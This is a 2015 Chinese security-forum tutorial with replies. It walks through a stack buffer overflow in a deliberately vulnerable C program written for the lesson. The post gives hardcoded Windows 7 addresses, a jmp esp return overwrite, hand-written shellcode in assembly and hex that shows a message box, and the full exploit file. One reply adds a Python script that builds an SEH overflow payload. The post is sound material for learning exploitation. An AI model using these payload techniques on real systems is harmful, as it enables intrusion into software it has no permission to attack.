首页
社区
课程
招聘
[原创]栈溢出笔记(1)
2015-6-27 12:57 5578

[原创]栈溢出笔记(1)

2015-6-27 12:57
5578
实践是检验真理的唯一标准

   栈溢出的原理非常的简单,这里就不累述了。原理看似简单,但是实践的时候遇到的问题还是比较的多。

准备工具:
    WinHex
    vc++6.0
    ollydbg
    一双勤奋的手和善于思考的大脑

#include <stdio.h>
#include <windows.h>
const char * FileName = "reg.txt"; 
const char * trueCode = "1245";
#define Msg(STR)( MessageBoxA(NULL,STR,NULL,MB_OK))
int _stdcall  RegGo()
{
	char FileBuf[8];
	char cNow;
	int nIndex = 0;
	FILE *fp;
	memset(FileBuf,0,sizeof(FileBuf));
	fp=fopen(FileName,"r");
	if(fp==NULL)
	{
		Msg("导入注册文件失败\n");
		ExitProcess(-1);
	}
	fscanf(fp,"%s",FileBuf);
	if(!strcmp(trueCode,FileBuf))
	{
		Msg("你的注册文件输入正确! 恭喜");
		return 0;
	}
	Msg("你的注册文件好像有些问题!");
	return 0;
}

int _stdcall WinMain(
    HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpCmdLine,
    int nCmdShow
)
{
	RegGo();
	MessageBoxA(NULL,"Hello world!\n",NULL,MB_OK);
}


编译:vc++6.0 Win32 Release
选项:C/C++ 优化禁用
这是一段存在溢出漏洞的程序。存在漏洞的函数时RegGo()
char FileBuf[8]; 存放验证文件数据的缓冲区只有8字节,实际上只能够储蓄7个字符 + 一个0结尾。
fscanf(fp,"%s",FileBuf); 读入文件的数据,格式为%s。也就是说调用这个函数,它会从文件中读取一串以0结尾的字符串,然后放入FileBuf。
这里没有做长度限制,所以如果文件的长度超过7个字节就会造成溢出。又因为FileBuf是第一个变量,所以FileBuf[8] 就是上层函数ebp的所在处(注意这里的FileBuf是1字节大小)
所以文件的第9~12 字节就会覆盖上层函数框架ebp的值。
第13~16字节就会覆盖返回地址。  
所以通过对reg.txt 文件的构造就可以实现漏洞利用。

感谢前辈们的方法,通过把返回地址覆盖为 jmp esp的地址来“导航”我们ShellCode。
这里给出一个在win7上比较通用的jmp esp地址。

0x7ffa4512 jmp esp

我们的文件构造为 4141414141414141 FFFFFFFF 1245FA7F
载入程序。。。。。。
好的,先用OD在这里下一个硬件执行断点吧,到了关键时刻我喜欢单步。



再继续往下走就是RegGo的栈区域以上的地方了,这里基本上都是数值,而不是代码,所以你根本看不懂这些乱七八糟的汇编代码是干啥的。
我们接着来编写ShellCode。
ShellCode的功能分析:
        1、弹出一个MessageBoxA  -> Hello
        2、使程序正常退出。

首先在ShellCode的入口处程序要做的第一件事情就是构造Hello。 因为在ShellCode不能出现 0 字节,所以要通过寄存器的运算来间接构造,如xor ebx,ebx
0x6F6C6C65 为 olle,这是因为push的操作码的长度是4字节esp-4
还有一个h
通过esp-1 并mov实现。

0012FEFC    33DB            xor ebx,ebx
0012FEFE    53              push ebx
0012FEFF    68 656C6C6F     push 0x6F6C6C65
0012FF04    4C              dec esp
0012FF05    C60424 68       mov byte ptr ss:[esp],0x68


此时此刻,esp的值就是hello字符串的地址。
OD alt+g 然后 输入MessageBoxA 查询到该函数的地址为 MessageBoxA         0x7740ea11

ShellCode中根据MessageBoxA的参数分别把数据压入栈中。
0012FF09    8BC4            mov eax,esp
0012FF0B    53              push ebx
0012FF0C    53              push ebx
0012FF0D    50              push eax
0012FF0E    53              push ebx
0012FF0F    B8 11EA4077     mov eax,user32.MessageBoxA
0012FF14    FFD0            call eax


安全退出需要调用ExitProcess(0x75FA427E)

0012FF16    B8 7E42FA75     mov eax,KernelBa.ExitProcess
0012FF1B    53              push ebx
0012FF1C    FFD0            call eax


完整的ShellCode代码:
0012FEFC    33DB            xor ebx,ebx
0012FEFE    53              push ebx
0012FEFF    68 656C6C6F     push 0x6F6C6C65
0012FF04    4C              dec esp
0012FF05    C60424 68       mov byte ptr ss:[esp],0x68
0012FF09    8BC4            mov eax,esp
0012FF0B    53              push ebx
0012FF0C    53              push ebx
0012FF0D    50              push eax
0012FF0E    53              push ebx
0012FF0F    B8 11EA4077     mov eax,user32.MessageBoxA
0012FF14    FFD0            call eax
0012FF16    B8 7E42FA75     mov eax,KernelBa.ExitProcess
0012FF1B    53              push ebx
0012FF1C    FFD0            call eax


通过OD的二进制复制功能把这段ShellCode的二进制代码复制出来。

33 DB 53 68 65 6C 6C 6F 4C C6 04 24 68 8B C4 53 53 50 53 B8 11 EA 40 77 FF D0 B8 7E 42 FA 75 53
FF D0

很好,很有成就感!

接着打开WinHex继续构造我们的reg.txt
将这段ShellCode接在文件偏移为0x10的地方,也就是jmp esp地址的后面。

完整reg.txt:
4141414141414141 FFFFFFFF 1245FA7F 33DB5368656C6C6F4CC60424688BC453535053B811EA4077FFD0B87E42FA7553FFD0

以上就是我今晚实践的全部结果了。ShellCode的写得非常随意,我还需要好好的学习一下大神们的写法。

用到的硬编码 win7:
jmp esp         0x7ffa4512
MessageBoxA         0x7740ea11
ExitProcess        0x75FA427E

stdcall 调用方式有参数情况溢出利用实验:
修改源代码:RegGo增加一个参数:int _stdcall  RegGo(const char *pas1)

00401053  |> \8D55 F8       lea edx,[local.2]
在这里下断得到FileBuf的基址。
然后把reg.txt的内容改为8个A,用od跟踪到retn指令。
retn指令:
retn指令带参数,设参数为x。
pop eip  add esp,x可以平衡堆栈。
RegGo有一个参数,所以编译器编译后用的是retn 0x4
所以我们的ShellCode要在定位代码后面留一个空位,这个空位会覆盖参数。

堆栈图:
0012FEE8   41414141  AAAA
0012FEEC   41414141  AAAA
0012FEF0   0012FE00  .?.
0012FEF4   004010B8  ?@.    返回到 TestBug.004010B8 来自 TestBug.00401000
0012FEF8   00408040  @€@.   ASCII "1245"  这个是参数哦
0012FEFC  /0012FF88  ?.


retn指令执行后esp的值为:0012FEFC
所以我们构造ShellCode如下:
41414141  41414141  FFFFFFFF 【jmp esp地址】 FFFFFFFF 【ShellCode】

总结:在漏洞分析过程最重要的就是仔细调试,分析出函数的调用方式参数等。
附件整理:
链接:http://pan.baidu.com/s/1hqer5NQ 密码:llwn

csdn:http://blog.csdn.net/pandaos/article/details/46655365

[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (16)
雪    币: 10244
活跃值: (16509)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zhczf 2015-6-27 19:22
2
0
虽然看不懂,但加了精华的帖子要支持
雪    币: 310
活跃值: (1917)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
niuzuoquan 2015-6-27 20:37
3
0
mark
雪    币: 210
活跃值: (507)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
anywhere杨 2015-6-27 21:13
4
0
如何在shellcode中定位api呢。
雪    币: 39
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
冷雨飞烟 2015-6-27 22:04
5
0
在脑子里过了一遍,感觉虽然慢了点,收获还是蛮多的。。。
雪    币: 55
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yzbkof 2015-6-27 23:10
6
0
char FileBuf[8]; 存放验证文件数据的缓冲区只有8字节,实际上只能够储蓄7个字符 + 一个0结尾。

这里不应该是0-7 8个字符加 一个0结尾嘛?
雪    币: 6816
活跃值: (8585)
能力值: ( LV17,RANK:797 )
在线值:
发帖
回帖
粉丝
无名侠 12 2015-6-27 23:26
7
0
[QUOTE=yzbkof;1378256]char FileBuf[8]; 存放验证文件数据的缓冲区只有8字节,实际上只能够储蓄7个字符 + 一个0结尾。

这里不应该是0-7 8个字符加 一个0结尾嘛?...[/QUOTE]
。。 0也要占一个字节啊。
雪    币: 239
活跃值: (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
liushuiren 2015-6-27 23:50
8
0
mark下 一会再细看
雪    币: 156
活跃值: (190)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
Gall 2015-6-28 01:52
9
0
【翻译】Exploit 编写系列教程第三篇_基于SEH的Exploit(+3b)
http://bbs.pediy.com/showthread.php?t=102040
============================================

#!/usr/bin/env python
# -*- coding: utf8 -*-

with open("reg.txt" , "w") as f:


    # Bad Chars: 00 09 0A 0B 0C 1A 20

    buf = "A" * 220

    nseh = "BBBB"
    pseh = "CCCC"

    junk2 = "D" * 500

    payload = buf + nseh + pseh + junk2

    f.write(payload)
雪    币: 17
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Arlenhy 2015-6-30 10:53
10
0
[QUOTE=yzbkof;1378256]char FileBuf[8]; 存放验证文件数据的缓冲区只有8字节,实际上只能够储蓄7个字符 + 一个0结尾。

这里不应该是0-7 8个字符加 一个0结尾嘛?[/QUOTE]

字符串长度是8,位置为0-7,往往最后一个字符是字符结束标志,即 '\0'。
所以是7个字符加一个 '\0' 结束符标志。如果没有结束标志,就可能读取到字符空间以外的数据,造成数据溢出
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
搁浅地盘 2015-7-1 16:29
11
0
你好,我想问一下。你在文中提到在reg.txt中放入4141414141414141 FFFFFFFF 1245FA7F 33DB5368656C6C6F4CC60424688BC453535053B811EA4077FFD0B87E42FA7553FFD0。当使用fscanf函数的时候以字符串形式读取,每次读取一个字符比如4,它会把它的十六进制34传进去。那么,如何实现41这个整体传到fileBuf[0]中,因为我看你的意思是表示41代表一个字节。
雪    币: 6816
活跃值: (8585)
能力值: ( LV17,RANK:797 )
在线值:
发帖
回帖
粉丝
无名侠 12 2015-7-1 19:34
12
0
%s  是表示一次性读入一个以0结尾的字符串。
雪    币: 9
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
搁浅地盘 2015-7-2 10:39
13
0
你说的我明白,之前的时候我纠结的是如何将0x00401210这个地址写入到文本文档中,因为通过查阅ascii表发现0x00对应的字符是控制字符,这个在文本文档中是显示不出来的。今天终于发现,作者在前边提到一个工具winhex,我之前忽略了。这个工具用来将一些特殊十六进制转换为ascii形式,从而在文本中显示。惭愧啊!非常感谢楼主,学到了不少东西。
雪    币: 123
活跃值: (144)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
acqqer 1 2015-7-8 17:41
14
0
strcpy->strncpy
:)
雪    币: 284
活跃值: (250)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
gmhzxy 2015-8-28 23:47
15
0
NICE,受益匪浅,谢谢楼主
雪    币: 55
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
timmymd 2015-10-18 17:30
16
0
正学习基础,谢谢LZ分享
雪    币: 5
活跃值: (108)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Anzun 2015-10-21 10:55
17
0
看了评论以后学到了更多。
游客
登录 | 注册 方可回帖
返回